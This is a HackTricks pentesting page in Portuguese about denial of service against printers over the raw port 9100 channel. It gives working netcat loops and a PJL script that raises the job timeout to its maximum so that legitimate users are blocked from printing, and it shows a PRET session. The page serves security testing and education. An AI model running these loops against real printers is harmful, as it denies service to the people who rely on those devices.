hacktricks/network-services-pentesting/pentesting-printers/transmission-channel.md
2023-06-06 18:56:34 +00:00

3.3 KiB

Se os trabalhos de impressão forem processados em série - o que é assumido para a maioria dos dispositivos - apenas um trabalho pode ser tratado de cada vez. Se este trabalho não terminar, o canal de impressão é bloqueado até que um tempo limite seja acionado, impedindo que usuários legítimos imprimam.

DoS básico:

while true; do nc printer 9100; done

Este ataque trivial de negação de serviço pode ser aprimorado configurando um valor alto de tempo limite com PJL, assim o número de conexões que um atacante pode fazer é minimizado, enquanto é ainda mais difícil para usuários legítimos obter um intervalo de tempo livre:

# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
  grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done

Você pode usar o PRET para encontrar as configurações de tempo limite:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
       5
       300

Embora a referência PJL especifique um tempo limite máximo de 300 segundos, na prática, os tempos limite máximos do PJL podem variar de 15 a 2147483 segundos. Observe que até mesmo trabalhos de impressão recebidos de outros canais de impressão, como IPP ou LPD, não são processados enquanto a conexão estiver aberta.

Saiba mais sobre este ataque em http://hacking-printers.net/wiki/index.php/Transmission_channel

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥